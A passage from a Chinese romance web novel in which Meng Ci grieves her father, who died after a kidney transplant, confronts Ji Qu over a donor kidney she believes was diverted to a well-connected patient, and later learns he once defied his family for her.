她绕到另一边,掀开被子上床,靠着床边,背对季曲。 看出来孟慈的心情始终不好。 季曲没敢留她自己一个。 餐桌上喝的那杯米酒渐渐起了作用,加之刚刚在浴室里受到热气蒸熏。 孟慈躺下没一会儿便睡意上涌,翻了个身便失去了意识。 季曲靠在床头。 看到孟慈的姿势不断调整。 直到一只手向里勾着垫在下巴处,就知道她终于睡熟了。 这么久没见孟慈性子冷了不少,但习惯倒是还保留着之前的。 遮光窗帘严严实实地把落地窗挡住,截停所有光线。 微弱的床头灯打在孟慈身上。 季曲探起身按下开关,顿时黑暗一片。 轻轻躺下。 季曲的胳膊从孟慈颈间穿过。 往回一勾,惦记了这么久的人终于落了手。 再柔软不过的身体。 季曲低头,找到孟慈的额头轻轻啄吻。 孟慈的呼吸间还带着微弱的酒气,轻轻重重地喷洒在季曲的肩膀上,夹杂着刚刚洗过澡的樱花精油味,季曲也跟着闭上了眼。 太阳西沉,光被城市的掩 埋。 霓虹闪烁,逐渐代替日。 孟慈睡醒时感觉到被人圈在怀里,季曲的呼吸打在她的后脖颈处,有些烫。 睡着还好,清醒后周遭的感知逐渐回炉。 不适感越来越明显。 孟慈动了动胳膊。 “醒了?”季曲嗓音也有些沙哑。 还没等孟慈回话,季曲就先找到了孟慈的太阳穴,品着力度按揉。 孟慈喝酒之后容易头疼,无关醉醒,老毛病了。 “重吗?” “还好。” 季曲就这么揉着,一直到孟慈喊停。 室内昏暗,光线无法追溯。 季曲用一只手撑着,上半身支起来些。 孟慈换了姿势,右半个身子压得有些麻,刚刚躺平,季曲就凑上来。 日子过得像旋转木马一样,起起伏伏,兜兜转转,身边的人还是季曲。 季曲的左手放在孟慈脸侧,一寸一寸地抚摸。 从脸颊到鼻梁,从眉心到唇珠。 拇指离开双唇的同时,季曲低头,吻落上来。 和他的抚摸动作一样轻柔。 干燥的唇瓣叠在一起,似有若无地分离又触碰。 孟慈勾住季曲的脖子,他脑后的短发有些剌手。 季曲一愣,孟慈也跟着停下。 近在咫尺的人,却看不清对方的眼。 好在季曲手下的腰肢明显地软了。 他刚想低头加深这段吻,手机却不适合地响起。 “接电话。”孟慈看看床头已经亮了的屏幕,借此看清有些情欲上头的季曲,眼底的火俨然已经烧起来,泛着幽幽微光。 “不用管。”季曲把孟慈的脸掰正。 “薄小姐的。”孟慈推开季曲,从床上起身走进浴室。 季曲看着浴室门关上,无奈从床头捞起手机放在耳边。 薄娴那边询问了一番项目进度。 毕竟是她牵的线,季曲听起来有些烦。 薄娴耳尖,察觉到不对,“怎么?不顺利?” 季曲否认:“没有。” “那怎么听起来你有点不高兴?” “我不一直都这样?” 薄娴被呛到,有些不快:“…或者,我打扰你了?” 那边没音,代替的是清晰的火机响。 “对不起,我的错,毕竟现在这个时间…也不会有人有兴致做这些。” 薄娴也恼了,语调陡然拔高,利落挂了电话。 季曲咬着烟起身。 走到窗前用手指撩开窗帘一个缝,天已经黑了。 过了半晌,孟慈走出来,在行李箱里翻翻找找,拎出来一件黑色羊尼裙。 她被背着季曲脱掉睡裙。 伸出两根指头在细细的肩带向两边勾,毫不扭捏。 丝绸布料下落,层层叠叠堆在孟慈脚。 深色裙身衬得她的皮肤更加冷白。 季曲就站在原地打量着孟慈。 看她纤细的腰肢和蜿蜒的曲线。 手指间夹着的香烟自顾自地掉了一截灰。 孟慈套好裙子,拉上腰侧的拉链,右手穿过后脖颈把长发捞出来。 她转身走到季曲跟前,接过了他指间燃着的香烟。 吸了一口,有些冲。 孟慈皱皱眉,又吸吐两口。 还是不适应,随之还给季曲。 抬头时对上季曲略有意外的眼。 “薄小姐给你打电话干什么?” 接过孟慈抽过的烟,季曲夹在指尖沉思几秒。 看她的动作,不像是新入门。 明明是讨厌烟味的人。 再抬头时孟慈依旧看着他,等他的回答。 季曲把夹烟的手往远挪了挪:“没什么,问问项目进度。” “你们合作?” “不算是,她之前的合作对象刚好和我的合作对象惯熟,就在中间搭了根线。” 孟慈点头,又问:“薄小姐最近怎么样?” 被连续的发问搞得有些懵。 季曲不知道孟慈从什么时候开始和薄娴这么…“熟”? “还不错,没什么变化。” “我还以为。”孟慈明显地停顿一下,“你会和她结婚。” 孟慈离开的那年,季曲臂弯里挽着的是薄娴。 兜兜转转。 在安家的晚宴上,季曲身边的还是薄娴。 季曲挑眉看着孟慈缓缓地说:“她不合适。” “沈棠溪合适?” 孟慈抱着胳膊,头发有些经过摩擦起了静电,飘在空中,配着窗帘打进来的微光,倒有些可怖。 季曲伸手去压,不出意外地被电了。 虚黑的空中炸出白色的光束,噼里啪啦的响。 “她性格和我妈合一点,八字也是,薄娴从小就和我不对付,好一会儿打一会儿,时间长了我妈受不住。” “你娶媳妇是给你妈娶的?” 季曲笑,没否认,“不然…娶你怎么样?找个时间咱们合合八字?” 孟慈伸手打在季曲手背上,瞪他一眼转身抓起包和大衣出了门。 “去哪?” “别管我。”- 下午睡得沉,生物钟乱了。 孟慈从车上下来之后没立马回家,而是去旁边的便利店买了瓶冰水。 冰冷的液体进入身体,孟慈觉得五脏六腑都被舒展。 直到太阳穴不再突突地跳,孟慈才开始往家里溜达。 白月光穿过干枯的树枝打在地面,形成斑驳的影子。 孟慈跨过黑色,只踩白色行进。 像是在跳格子。 小时候小区还是水泥地。 用红砖头的碎块或者粉笔头就能画出痕迹。 现在换了统一的砖石,有些痕迹早就消失不见了。 一进单元门就能闻到各家的饭菜香味。 正值晚上六七点钟,一家最热闹的时候大致就是现在。 忙碌一天、苦读一天、奔波一天,终于都回家了。 这个小区是孟慈最小的时候生活的地方。 上了初中之后孟擎的事业运突然爆发,三年里就搬了四次家。 房子一次比一次大,行李一次比一次多。 后来初中毕业,孟擎和裴沛离婚。 孟慈跟着裴沛离开。 只有逢年过节的时候才会回来。 最后一次回家找孟擎过年,他已经搬回了最初的小家。 行李少的还不如当初搬离时的一半多。 孟擎的生意出了问题。 被亲近的兄弟下套骗到公司倒闭。 离婚的时候大部分财产都给了裴沛,只能用周身的一切换钱补偿给公司的员工们。 忙忙碌碌大半辈子,到头来还是一身轻。 孟慈出国前专门回来一趟。 吃了顿咸淡失调的家常饭。 留下句“下次再来”和一张银行卡。 后来某天,她接到裴沛的电话。 说孟擎尿毒症晚期,时日无多。 电梯门缓缓打开。 孟慈深吸一口气,迈出电梯,掏出钥匙开门。【你现在阅读的是 】 20-30 第21章 第21章孟慈疼到呜咽 屋内的布置没变。 家具被防尘布遮盖。 孟慈开了灯,慢慢地看,在每一个平米都停留。 红木茶几的边角落了漆。 孟擎后来自己买油漆补过,但是干了之后的颜色与周围的格格不入。 不过看久了也没什么。 厨房的餐桌是能折叠的。 小时候亲戚们来做客,孟擎就会把桌子打开,能供十人左右用餐。 现在是合着的,四四方方的一小块。 其中的一支餐椅明显要比另外三支更旧一点。 凳腿有些歪。 因为孟擎总是一个人吃饭。 孟慈大学的时候,有人给孟擎介绍了一位阿姨,两个人处了一段,失败了。 听说对方嫌孟擎不愿意把财产交出来给自己打理。 听到这些的时候孟慈还打电话笑话孟擎,这有什么好藏的,毕竟他手里那点存款也只够在海市买一套房子。 孟擎笑,说自己的钱是留着给孟慈当嫁妆的,当初也藏了不少私房钱,不能随便交出去。 睹物思人。 孟慈的眼眶渐渐湿润,在她自己都没察觉到的瞬间。 怎么能不想念呢? 毕竟孟慈是活生生 的人,孟擎也是活生生的人。 两个人血脉相连。 走到卧室。 孟擎床头之前摆着的床头柜被简单的置物架替换。 原本和裴沛床头的那支床头柜是一对儿。 柜子的容量太小,摆不下治疗所需的那么多药盒。 而且抽屉开开合合的也不方便。 裴沛干脆给他换成五层高的置物架。 药品排列一目了然,拿取也方便。 孟擎病入膏肓的时候,是裴沛回来陪着的。 按灭开关,关上门。 孟慈靠着墙缓了一会儿。 直到呼吸不畅的感觉得到缓解,她才抬脚走向自己的卧室。 女孩子的卧室要装修成粉色,好像是社会共识。 即使孟慈并不喜欢粉色。 长大之后,窗帘、床品、地毯统统按照孟慈的意愿换成了灰白色调。 但是大件的床骨、书桌、衣柜的颜色没改变。 坐在和书桌配套的转椅上。 弧度夸张的椅背其实坐久了并不舒服。 而且还会一直往下滑。 书架上还摆着孟慈之前学过的课本和看过的课外书。 大部分都包着书皮。 孟擎的手很巧。 包出来的书每本都书角贴合,书脊顺滑。 孟慈顺便抽了一本出来。 上面堆满灰尘,粒子在空中飞,迷了孟慈的眼。 她把书放回原处。 从包里拿了纸擦了好一会儿眼睛,磨痛感才消失。 从椅子上起身,把椅子推回原位。 孟慈的注意被墙上的奖状吸引。 在良好的教育培养下,孟慈从小就是好好学生。 成绩名列前茅不说,兴趣才艺也样样拿得出手。 因此攒了满满一墙的奖状。 “孟慈同学:在本次期末考试中获得年级第一名。特此表彰,以此鼓励。” “孟慈同学:在全市物理竞赛中获得一等奖。特此表彰,以此鼓励。” “孟慈同学:在全校钢琴比赛中获得一等奖。特此表彰,以此鼓励。” “孟慈同学:在本学年表现优异,获得“三好学生”的称号。特此表彰,以此鼓励。” “孟慈同学:……” 无数次站在领奖台上,无数次捧起奖杯与鲜花,无数次看到孟擎和裴沛并肩站在台下欢呼鼓掌。 孟慈突然开始想家。 虽然她现在就在家。 她想的不止是家。 她下意识地抬高手触摸奖状。 劣质的彩色纸张总是掉色,摸起来手感生涩。 毛笔写过的地方会光滑一些。 贴近嗅嗅,还有墨香。 沿着奖状一张一张的摸,一张一张的看。 孟擎太宝贝这些,没有一张出现折痕或者破损。 其他的就算了。 唯独这些奖状孟慈想带走。 在书桌抽屉里的文具盒找到小刀。 孟慈动作轻柔地沿着纸张和墙面的缝隙割。 胶水糊的太久,没割一会儿孟慈就觉得眼酸手也酸。 割了半个小时。 下面两排的奖状都已经整齐完好地摞在一旁。 坐在转椅上活动酸涩的手腕。 孟慈看了眼时间又继续。 剩下的有些高,需要站在椅子上才能够到。 又过了一个小时,终于只剩下最后一张。 孟慈的额间已经渗了不少汗。 她用纸巾擦了擦。 一鼓作气推着椅子来到最后的奖状面前。 “孟慈小朋友:在本次汇演中获得特等奖。特此表彰,以此鼓励。” “幼儿园的奖状还留着。” 孟慈看着上面的内容兀自笑了出来。 那是孟慈第一次上台表演。 钢琴曲还没练熟,手指不听话,怎么都跳不对琴键。 到最后孟慈干脆两手一插腰气鼓鼓地下了台。 最后还是裴沛在半路把人拎回去,坐在孟慈旁边。 陪着孟慈一个音一个音地弹完整首曲子。 想到这儿,眼底又开始泛酸。 孟慈眨眨眼,再次投入工作。 可能是时间太久,这张奖状的胶水糊的是其他奖状的几倍,四条边几乎都粘在墙上。 孟慈的额角渗出汗滴。 先割开一个侧边,然后割最下面。 割到一半,突然受到阻力。 孟慈加了几分力。 没几下,“咣当”一声,有什么东西掉了地。 孟慈停下动作低头眯着眼睛看。 头发垂了几缕下来挡住脸。 她用手背蹭开。 灰白色地毯上落了两张卡片。 一张是孟慈出国前留下的。 另一张更旧,卡面是生肖图案。 孟慈在心里默算。 刚好是孟擎和裴沛离婚那年的年份,银行特供。 浅薄的眼眶兜不住决堤的泪,泪珠成串砸下来。 大的像送给妈妈的那串朱砂。 只不过是透明颜色。 长绒地毯的灰色被染成更深一层。 像是池塘表面泛起涟漪,圈圈层层,在荡。 孟慈跪坐在地上,捡卡的手忍不住颤抖,尝试了几次才拿到面前。 孟擎真的给她准备了嫁妆。 在负债累累时。 在病痛入体时。 都想着要给自己留一笔嫁妆。 在大脑里漂浮断续的记忆突然放大至数倍,一重重地朝孟慈压过来,堵的人透不上气。 抱歉,抱歉,抱歉…还是抱歉。 孟慈把头埋进胳膊,像是磕了一个深深的头。 呜咽声止不住地往出传。 她蜷缩成小小的一团,成为与这个房间浑然一体的静物。 被时间遗忘成为漫长童年记忆中的偏远一隅。 冬天的月亮多是冷白。 落在地上,像是满地碎银。 一直到光穿过玻璃窗撒了满室。 孟慈才调整好自己。 她把倾泻而出的情绪整理收拢,装到身体里。 抱着一沓不算沉重的奖状离开。 脚步比来时轻了不少。 孟慈踏出楼的那一刻深吸了一口气。 凌冽的冷空气猛地钻入心肺,像是把沾了陈醋的刀子,直直地捅进去。 僵直地迈着步子往外走。 路面被分成两半。 一半是各家各户的灯穿过楼射在地上。 一半是枯树筛过冷寂的月色投在地面上的遗留。 孟慈沿着分界线,在小区门口的马路上,看到第三种。 路灯由高而下投射出一片圆形的炽黄笼罩在漆黑车身。 季曲曲着一条腿靠在车侧。 夹着烟的手指冻得通红,抵得上猩红的烟。 似乎是心灵感应。 季曲抬起薄薄一层的眼皮看向孟慈。 然后立马捻了烟穿过马路走到孟慈身边:“冷不冷?我来接你。” 自从孟慈回来,季曲的烟瘾又犯的严重。 他自觉控制,却没什么效果。 驼色大衣包裹着单薄的孟慈在冷风中摇晃。 她没说话,只是直勾勾地看了季曲一会儿。 然后说自己还要逛逛。 便把从家里拿的物件,连同包一起扔在季曲的车子后座。 季曲没拒绝,跟在孟慈身后。 他的步子大,总会碾上孟慈的步速,然后再放慢。 一连走过两个路口,孟慈才开口,还带着浓重的鼻音:“吃晚饭了吗?” 季曲回答:“还没。” “我请你吃好不好?” 孟慈回头,眼眶还是红的,眼尾微挑,但却脱了些寒。 她带着季曲进了路边的一家面馆。 大堂摆着约□□张木桌,上面有日积月累的油垢和划痕。 孟慈熟悉地点单。 然后抽出几张纸叠在一起对桌面进行二次清洁。 用热茶水烫过餐具才送到季曲面前。 “他家环境一般,但是味道很好的,我从小就常来吃,爸爸妈妈有时候都忙,就给我钱让我自己来点。” “和我们家里的比呢?” 孟慈倒水的动作顿了一下,忽略季曲话里的亲昵,“说实话?” “当然,我每个月给他们开不少工资。” “你自己尝尝就知道了。” 面馆的主人是一对夫妻。 妻子负责前台的点单收银,丈夫负责后厨的烹饪煮制。 汤面就那么几种浇头,也符合大家的口味。 再就是卤制食品,配面吃的。 面食上的快。 老板娘上菜时多看了孟慈几眼。 像是认出了人,但 也没敢确认。 扒好茶叶蛋放进小碟子递给季曲一颗。 孟慈再抬头时对上季曲稍显疑惑的眼。 孟慈:“怎么了?” 季曲:“老板娘认识你。” 孟慈点头。 看着低头小口吃面的孟慈,季曲略微意外,“我还以为你是专门来看看老街坊。” 孟慈低声说:“认出来事多,又少不得要寒暄几句,而且还不会收钱。” 也是这个道理。 孟慈断断续续的吃了回到海市之后最舒服的一顿。 鲜香的面汤从胃暖到脚,就连头发丝都是满足的。 季曲吃了两口便放了筷子。 他晚上习惯只食三分饱,然后用各种补汤药剂填满。 不过他吃完了孟慈亲手剥的茶叶蛋。 结账时季曲没抢。 乖乖地等着孟慈结完账后跟在人身后离开。 屋外的气温比刚刚又下降。 但是孟慈却不觉得比刚刚冷,吃了饭感觉沉甸甸的。 又走了一会儿。 孟慈放弃大路拐进一条小巷。 连路灯都亮得不全。 季曲伸手护在孟慈左右。 黑灯瞎火的可别再摔上一跤。 没几分钟,面前豁然开朗。 季曲扶着孟慈迈上到膝盖处的石台,往四周一扫,是个小公园。 只不过冬夜里几乎没什么人,只剩下孤零零的长椅和树。 孟慈沿着小径东走西走,找到一片空地,大多都是些破旧的家具。 没有椅背的木椅、扶手破烂的沙发,被涂得五颜六色的油桶,还有一块少了半只腿的白板。 不过显然孟慈的目标不是这些。 她直直地穿过这些“路障”,走到一面墙下。 “找找吧。”孟慈仰着头看墙上的字迹。 “有你的?”季曲和孟慈并肩站着。 孟慈点头,季曲侧脸去看,她眉头终于放松。 其实孟慈的字很好认,她练过小楷,娟秀清婉。 她喜欢读书,五花八门的书。 从专业书籍到随笔杂记。 然后用各色的笔在空白处记录些什么。 之前季曲家的书架藏书过千。 孟慈无聊时便随便抽一本。 一直到现在季曲家里还有孟慈只看了一半的书。 笔记也戛然而止。 墙上的笔迹重叠,像是长年累月堆积而成,几层颜色彼此压制。 加上天黑,季曲找的有些眼酸。 拿出手机打开照明,细细地看,没一会儿季曲就找到了。 短短的一句话,写在旧墙的最边角。 不算太过稳重的笔锋,黑色的笔迹,在一众稍显幼稚的字体中已经有了几分出挑的意味。 “我一定要去罗马。”季曲念出来,“你的愿望?” “差不多吧,初中的时候。”孟慈回忆道。 季曲打开相机拍照留存,然后转头和孟慈说:“我年前能休息一段时间,陪你去?” 再平常不过的一句问,孟慈笑笑:“我其实也不是那么……喜欢那里。” 季曲点头,等孟慈的下文,她今晚似乎很想要倾诉些什么,即使总是词不达意。 “初中的时候,语文老师好像很喜欢用这种比喻——条条大路通罗马。” “我就想,这么修这么多条路,想方设法都要抵达的,一定是好地方。” “所以就写了这句,后来长大了才知道,每个人有每个人的“罗马”,也就不想着非要去一趟了。” 孟慈娓娓道来,眼神落在墙上,明明在说自己的事,但又像在转述别人的事。 “那你的“罗马”在哪?”季曲问。 “还没找到。”孟慈想了想才回答。 “需要我帮忙吗?” 孟慈终于收回视线,看着季曲,一贯清冷的眼底好像有什么正在层层坍塌。 季曲以为孟慈还在和自己生气,为了之前的事。 但是忠诚这种品质,可能在现代社会只能从狗身上得到。 对人来说,想都不要想。 克制住又想从裤兜里掏烟的冲动,季曲衡量了一番能支付的筹码,再次开口,“这次我能保证……” “我爸是尿毒症死的。”孟慈打断季曲,呼出一口白气,融在冷肃的空气中,“发现的时候已经是晚期,我妈回来陪他四处求医,只能肾移植,一直到找到合适的肾源才告诉我。” “我回来的时候,我爸已经在病床上躺了小半年了,一进病房,我都没敢认。不过幸亏,幸亏有好心人捐赠,匹配点位几乎达到百分之百。” “结果移植手术前一天,院方临时通知我们之前的那个肾源没了,但是能给我们换一个新的,我爸已经都准备进手术室了,我们能说什么呢,当然是好。” “手术很成功,但是没过一周就出现排异现象,我爸就这么没了。” 季曲被打断后便安静地听着。 他眼看着孟慈的眼眶又落出仿佛无尽的泪,刚伸手去擦,就被孟慈接下来的话钉在原地,像是钢钉从头骨凿入,随着孟慈的嘴唇闭合,一寸寸地钉在胸腔、腹股、双腿、脚底,然后连接到湿冷生硬的土地。 “要是能换第一个肾源,可能不会这样,后来机缘巧合,我听说和我爸做手术的同一天,隔壁的国际部,也进行了肾移植。” “哪有那么巧的事呢,我们托人联系的专家,也突然说有急事,给我们推荐了其大夫主刀,然后我看到他当天从国际部的大楼走出来。” 黑雾渐散,白月再次出现,残余的黑叠在月身四周,透出诡异的红。 孟慈疼到呜咽,她按着抽痛的心脏,转身望着季曲一无所知的表情,更崩溃,更绝望。 “季曲你是真不记得?” “你那天也在啊,还是你送那位专家离开的。” “薄娴的叔叔,现在身体还好吗?” 第22章 第22章狗改不了吃屎 亲密关系能满足某些片刻的欲望需要,但也会让旧伤复发。 孟慈其实没想过和季曲陈述这些“陈芝麻”的往事。 因为她没想过两人能再见面,或者说没想过季曲会回头。她从没对自己自信至此。 看着面前陷入僵滞的季曲,孟慈突然觉得轻。 她挥开季曲的手,用衣袖草草擦干脸颊的泪。 原来再昂贵的布料经过泪水浸透都会变得干硬。 或许是因为那句更古不变的定理。 得不到的才有意义。 在季曲顺风顺水金光闪闪的人生中,自己像一只误闯的乌鸦,一身漆黑与周围的高洁格格不入,拘谨地立在枝头,也许就是那么一点与众不同,才让季曲念念不忘。 第二天孟慈退房离开的时候,季曲已经连夜离开,他留下的便签和早餐一次送到孟慈房里。 【临时出差,回北市联系。】 昨晚孟慈睡着后北方落了场大雪,大到酒店门口的松树都被压折。 飞机停飞,公路封路。 孟慈只能乘高铁,买票时页面却提示已经购买过本趟车次。 打开拦截的垃圾信息,一连串的行程通知。 孟慈滑动页面,昨晚十一点左右,季曲给自己定了今天一天的所有回北市的高铁票。 那个时候,应该刚开始飘雪。 车窗外的景物极速后退,孟慈拉上遮光帘,太阳落在皑皑雪层,反射的光刺得人眼痛。 — 说来也巧。 不是季曲逃避,昨晚送孟慈回房后季澈打来电话,问季曲有没有时间。 有一个国家级的非遗公益项目需要出资出力。 两人的工作领域不同,明面上井水不犯河水,能让季澈主动,想来也是重要且不得不去。 展览活动办在南方的一座古城,小桥流水,吴侬软语。 季曲飞到这边后一连待了小半个月。 不是出门考察项目就是参观接待,烟酒沾的比粮食还多。 除了第一天见到季澈,后来干脆就找不到 人。 一直到项目开展当天,季澈才穿着深色夹克在人群簇拥下出现。 媒体记者早就站好机位。 官方的活动,企业的投资,国内的非遗传承人,国外的研究学者齐聚一堂,差点连准备好的礼台都站不下。 晚上的晚宴活动,季澈因为身份问题不便抛头露面,只能由季曲代替交际。 几圈下来,胃里又蓄满酒精。 季曲和孙谦打了眼色示意,孙谦适时地拿着手机插进,说有急事要季曲处理,这才有喘口气的机会。 穿过长廊,走到酒店的后花园,找了处亭阁休息。 古风建筑的花园式酒店,去哪都是雕梁画柱,鲜花满园。 季曲坐在长椅上解开外套的扣子,深深地吐了口酒气。 手机震动,掏出一看是季澈的消息。 “喝多了?” 抬眼四处看看,发现季澈站在不远处,脸上也有不少酒气。 “季主任酒量退步不少啊。”季曲看着季澈落座不免调笑。 “季总也没好到哪去,半场就偷溜出来?”季澈从口袋里掏出两粒药丸,“解酒的,你嫂子给我带的。” 季曲摆手,点了根烟,说自己用不着。 季澈笑笑,说还是年轻,自己像季曲这个岁数的时候,也是百杯不倒、千杯不醉。 “你才多大,就开始整什么英雄暮年。” “奔四的人喽,你嫂子说我白头发都多了不少。” “我二十就有白头发了。” “你那是血热,从小就闲不住,太闹腾,爷爷打你打断的拐杖还少?” “爸妈就给我生成这种性子,能怎么样?” 季澈笑笑,又问说起华婉最近身体不太舒服,连一月一次的烧香都没去。 季曲眉毛一挑:“被我气的?” “你有那么大本事?” 问完这句,季澈顿了一下,然后笑意更深,说季曲还真有。 又坐了一会儿,两人聊起元旦要在哪过,是回家还是去季老爷子那儿。 季曲说自己孤家寡人一个,哪都没差。 说到这儿,季澈突然变得吞吐。 季曲看出来,问:“到底什么事?和我有什么不好意思的。” 季澈顺坡下驴:“嗨,也不是什么大事,你嫂子今年新招了个女博士,挺好一小姑娘,上次帮我们去幼儿园接了一次欢倾,送回来的时候正好和妈碰见了,就聊了两句。” 季曲:“然后呢?” 季澈:“妈挺喜欢的。” 季曲:“哦,那妈想认个干女儿也行啊,我没意见。” 季澈笑骂了句少贫,季曲那边已经站起身,准备离开。 “见一面再说?” “不见,麻烦。” “那不然薄小姐?你们俩青梅竹马的,小时候两家没少说给你们订娃娃亲,你们要是能成,咱们两家不就是亲上加亲?” “人家薄家好不容易养得这么好的两个小姑娘,凭什么都嫁给咱们家?走啦,家里见吧。” 季曲背对着季澈抬手挥挥,消失在游廊的转弯处。 晚宴一直到近十二点才结束。 季曲让孙谦给人们都打点好,回去休息的,继续找乐子的。 他得先回房间,还有个跨国会议要开。 彻底结束工作已经是凌晨三点半,再半小时天都要翻白。 季曲洗了澡出来反倒精神不少,酒精带着后脑勺痛,甩了甩还在掉水的发丝,他从茶几捞起烟盒走到阳台。 酒店室内禁烟。 倚在栏杆上,夜静的连绕着酒店的溪流声都能听到。 从烟盒里咬了根烟出来,用手拢着火机打火,微弱的火苗点燃烟草,飘起袅袅白烟。 季曲连着吸了几口,指腹掐着眉心按捏,脑子清醒不少。 深夜,大脑神经陷入疲惫,换成情绪主导,所有的疑问变成一口浊气,从肺里吐出去。 季曲拿出手机,这段时间孟慈一次都没联系过自己。 也怪自己,留的什么话,回了北市联系……脑子坏了可能。 打开手机的通讯软件,找到孟慈的头像,点进去,在聊天框打出一个空格,点击发送,不出意外的出现红色感叹号。 哦,还没把自己加回去,看来本来就不想联系。 头又开始痛,季曲舔了下后槽牙,真是倒霉。 孟擎的手术,真的和自己没关系。 那年薄娴的叔叔肾衰竭。 薄家没有这方面的病史,也就把病因都归结为作息混乱抽烟酗酒。 消息传出来的时候圈子里的人大部分都跑去医院做了一次全身体检。 华婉当时在国外旅游,没法回国探望,探病送花的任务自然落到季曲肩上。 当时薄娴的叔叔也就三十出头,但是被病痛折磨得不成样子。 季曲去探病的时候也被惊到眼皮直跳。 因为岁数差的少,薄娴和叔叔的感情更亲近,几乎每天都往医院跑,一直到手术成功结束,才放心地倒下。 长时间的作息混乱加忧思过重。 薄家直接给薄娴加开了一间病房就在她叔叔的旁边,一上去就扎了大袋的营养液。 一下倒了两个年轻人,薄家多少有点焦头烂额,再加上薄娴又是独生女。 季曲作为从小和她一起长大的“铁哥们”,自然肩负起迎来送往的工作。 把薄家的人都安顿好,季曲才抽身去送医疗专家离开,人家的团队下午在其他城市还有手术。 也就是那时,刚好被孟慈看到了。 术前的安排季曲其实并不知晓,至于孟慈说的那些,季曲这两天也私下打听了不少,和孟慈说的大差不差。 这个社会,有一部分事,光用钱就能解决,另一部分,用钱也解决不了,即使你是一亿万富翁,即使你倾家荡产。 偏偏孟慈碰到的是棘手的另一部分。 不过,薄娴的叔叔术后半年也因为排异反应去世了。 薄娴因为这件事还消沉了很久。 直到过了一年才在心理医生的干预下彻底缓过来,现在还要按时复诊。 这也不能算是真正意义上的一报还一报。 毕竟孟慈的爸爸也不可能因此转生。 但是就算当时用了那个匹配度高的肾源孟慈的爸爸也不一定就能活到一百岁。 但是……但是。 多活一天是一天。 越想越头痛,头痛欲裂。 季曲回到室内从冰箱里捞了瓶纯净水灌了半瓶,闭着眼揉了揉太阳穴,没忍住骂了句脏话。 怎么就什么都能让自己碰上。 这种束手无策的感觉太窝囊。 — 到了元旦当天,安娜做东组了活动,孟慈当仁不让地成为安娜的邀请名单的头号嘉宾。 孟慈忙完公司的事已经快九点。 收拾好东西打开安娜发来的定位,是赵一辰家的会所,都不用导航,之前她是熟客。 轻车熟路地找过去,这次安娜特地安顿了经理在门口接孟慈,谁都不想再发生上次的事。 经理毕恭毕敬地帮孟慈推开包厢门,孟慈道谢后走进去。 场子已经热了起来,人群分为三部分,打牌的、唱K的、喝酒的。 安娜坐在喝酒的那群最中央,看起来正高兴。 孟慈没过去,脱了外套递给服务生,径直走到吧台要了杯酒。 酒保拿着摇杯在空中反复动作,最后一步是点燃酒杯,熊熊火焰夹着火星子掉在大理石台面,倒是花样足。 孟慈浅尝一口,感觉因为加班堵塞的五官都被灼通。 “怎么自己?”安翰坐在孟慈身边要了杯伏特加。 “你也来了?”孟慈侧过脸,浅笑打招呼。 安翰平常不怎么出来玩,他工作繁重,“陪家属。” 孟慈往人群中看,赫然发现何冉也在安娜身边坐着,何冉和安翰在一起五六年,是圈子里公开的秘密。 从何冉还是刚入圈的新人开始,到现在拿下第一尊影后奖杯,身边站着的都是安翰。 安翰喝得差不多,拍了拍孟慈的肩膀:“走吧,帮我把我女朋友换出来一会儿。” 孟慈握着酒杯发问:“我有什么好处?” “想要 什么好处?” “嗯……给我几张签名照?” 安翰笑得眼角的纹路都深了几分,说当然没问题。 何冉见到安翰身边的孟慈时,先是一愣,而后立马起身换上微笑拥抱。 “早就听说你回来了,过得怎么样?” “还不错。” 何冉和孟慈的关系算得上亲近。 之前也有不少这样的场子,两个人无聊了就会偷偷跑到清净的一角聊天聊八卦。 孟慈甚至还去探过何冉的班,只不过后来孟慈单方面断了和这群人的联络。 酒过三巡,离零点还剩一个小时。 安娜抱着孟慈的胳膊倒在沙发里醒酒,刚玩游戏喝得猛,人晕的甚至坐不住沙发,低个头就要往茶几下栽。 赵一辰及时喊停,说是零点还有节目,现在玩废了可就亏了,大家这才停止。 安娜靠在孟慈肩膀,半醉半醒:“哎慈慈。” 孟慈侧脸:“嗯?” “你要不要…要不要…吃个回头草?” “为什么?” 孟慈不解,怎么自己的姐妹突然倒戈。 季曲最近没缠着自己难不成是去从她周围的人下手了。 安娜有些喝得舌头打弯,语速也慢。 “你看我哥和我嫂子,一开始我爸也死活不同意,我后妈还要给他介绍季家的小姑娘,现在不也都过去了。” “长辈们啊是拗不过小辈的,而且我哥一直爱的都是我嫂子,前段时间,我嫂子被全网黑,我哥的脸色就没好看过,连我爸都不敢问。” “一哭二闹三上吊,男人用这套也行,也管用。” 孟慈拧眉看向不远处端正温和的安翰,实在想象不出他一哭二闹三上吊的模样。 “你听我说你看哪儿呢?”安娜见孟慈有些跑神,不满地伸手把人的脸掰回来。 孟慈把安娜的手拿开,问:“但是关我和季曲什么事?” “当然关你们的事。”安娜义正严辞,甚至还支棱着身子想坐正身体,好像接下来的话有多重要一样。 “季曲为你做的,比我哥做的多得多得多得多。” “你确定?你喝了多少啊?” 眼看孟慈不信,安娜更急,“真的!我也是前段时间才知道的。” “知道什么?” “他曾经为了你辞职你知道吗?他为你了不要季家了。” 季曲和孟慈最亲密的时候,几乎形影不离。 两个人除了工作时间都粘着彼此,时间一长不免被华婉发现。 华婉致力于给季曲找一个门当户对、八字相合的对象。 偏偏闯入一个孟慈。 之前季曲身边也不是没有女伴,但是没宠到又送房子又送跑车,又开公司又给项目。 出于女人的直觉,华婉决定把一切危险的苗头扼杀在摇篮里。 因此,华婉在一次家庭会议结束后给季曲下了命令。 送出去的一概不计,毕竟季家家大业大不差这些,但是孟慈这个人,不允许季曲再来往。 季曲知道华婉说一不二的性子,也就没和华婉呛着来。 只是说需要一点时间,华婉对季曲的态度还算满意。 顺坡而下,大手一挥给了一个月,不然她就亲自下场赶人。 其实藏一个人对季曲来说不是难事,只不过这种话在孟慈那边不好转述。 “我妈不喜欢你,我们以后背着大家谈怎么样?” “你先出去玩几个月,回来就没事了。” “……” 怎么说都像是烂人嘴里说的话。 季曲没想到短短几个月能对孟慈这么上心,甚至都能开始思考怎么为了孟慈“违背”华婉的意愿。 一直到最后一周。 在牌局上听到安翰为了一个小明星和家里撕破脸,班也不上了,公司也不管了。 当时牌桌上有人说了一句:“又不是要结婚,也不知道他们家干嘛那么折腾安翰。” 对啊,又不是要结婚。 第二天晚上,季曲就回家找到华婉说了自己的心思。 原本华婉以为季曲已经处理好了来汇报结果,却没想到是回来和自己谈条件的。 季曲真心实意地讲孟慈实在称心难得,自己旁边缺这么一个人,让华婉高抬贵手,睁一只眼闭一眼过去得了,结婚对象还听华婉安排。 华婉当时就发了脾气。 